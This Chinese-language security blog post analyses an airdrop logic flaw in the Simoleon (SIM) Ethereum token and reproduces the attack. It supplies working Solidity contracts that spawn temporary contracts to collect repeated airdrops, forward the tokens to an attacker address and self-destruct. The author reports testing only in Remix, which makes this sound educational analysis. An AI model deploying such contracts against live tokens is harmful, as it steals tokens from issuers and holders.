前几天启明星辰积极防御实验室在seebug分享了一篇 利用SIM token合约代码逻辑缺陷自动化薅羊毛的攻击事件,攻击者的思路很棒,对以太坊的一些原理理解非常深刻。

同样启明星辰积极防御实验室的julao们的文章也很到位,每一步攻击流程都分析的很透彻,但美中不足的是,没有给出攻击者部署合约的恶意代码,原因是恶意合约最后进行了自动销毁,使自己的代码从区块链上消失。

没有提供复现代码怎么办? 当然是自己写咯

漏洞分析

function transfer(address _to, uint256 _amount) returns (bool success) {
    initialize(msg.sender);

    if (balances[msg.sender] >= _amount
        && _amount > 0) {
        initialize(_to);
        if (balances[_to] + _amount > balances[_to]) {

            balances[msg.sender] -= _amount;
            balances[_to] += _amount;

            Transfer(msg.sender, _to, _amount);

            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

transfer()中首先调用了initialize():

function initialize(address _address) internal returns (bool success) {
    if (_totalSupply < _cutoff && !initialized[_address]) {
        initialized[_address] = true;
        balances[_address] = _airdropAmount;
        _totalSupply += _airdropAmount;
    }
    return true;
}

initialize()作用是判断参与账户是否接收过空投,没有接受过就给参与账户空投一定数量的代币,再标记参与账户以接收空投,以免重复空投被薅羊毛。

看似一段比较正常的代码逻辑,但是开发者忽略了一个问题:钱包账户是可以无条件创建的

我们可以手动创建一批账户依次调用transfer()发起一笔转账,因为账户之前并没有进行过交易拿到空投,所以可以获得一次免费的空投,数量是 1000000 代币。然后把空投获得的代币转入自己账户中。但是这样不仅步骤繁琐,而且每一笔交易都会产生手续费,增加了不必要的成本。

那么攻击者的思路是怎样的呢?

首先部署一个恶意合约,在恶意合约中生成临时合约,临时合约调用SIM token中的transfer(),因为临时合约账户没有进行过交易,会触发initialize()进行空投。获得空投后,临时合约账户将空投获得的代币转入攻击者账户,最后临时合约销毁。

这是攻击一次的流程,攻击者一次生成了50个临时合约薅羊毛,效率比手工高太多了。

果然,知识才能解放双手啊。

攻击还原

还原仅在remix.ethereum.org进行操作,没有在公网上进行任何攻击。

自己写的恶意合约代码:

contract Attack{
    function Attack(address addressOfContract){
        Simoleon s = Simoleon(addressOfContract);
        s.transfer(0xdd870fa1b7c4700f2bd7f44238821c26f7392148,1000000);
    }
    
    function kill(){
        
        selfdestruct(0xdd870fa1b7c4700f2bd7f44238821c26f7392148);
    }
    
}

contract AdminSS{
    function Hack(address OfContract){
        for(var i=0; i < 20; i++){
            Attack fff = new Attack(OfContract);
            fff.kill();
        }
    }
    
}

AdminSS构造函数中将OfContract参数带入Attack合约中,Attack也就是调用被攻击合约的transfer()进行空投的临时合约,所以OfContract参数传入被攻击的合约账户。

获得空投后将临时合约账户余额全部转入攻击者账户中,接着AdminSS调用临时合约中的kall()销毁临时合约,一次攻击结束。

for循环i<20,也就是会执行20次上面的操作。

传入SIM token合约地址后点击Deploy,执行结束后可以看到产生了很多笔交易

查一下0xdd870fa1b7c4700f2bd7f44238821c26f7392148(攻击者账户)的余额:

余额是21000000,其中的1000000,是初始交易时空投送的,剩下20000000是二十个临时合约交易的总和。可以看到,二十个临时合约获得的空投全部转入了攻击者账户。


这篇文章本来是上周就该发出来了,拖了一周才发,我越来越懒了。

虽然启明星辰的julao们没有在漏洞场景方面复现还原,但从其他角度深度解析了这次攻击事件,比如以太坊的gas消耗机制,etherscan.io交易记录原理等,很棒的文章,值得一看。

参考链接:

【1】首个区块链token的自动化薅羊毛分析

https://paper.seebug.org/646/

【2】Simoleon (SIM)

https://etherscan.io/address/0x86c8bf8532aa2601151c9dbbf4e4c4804e042571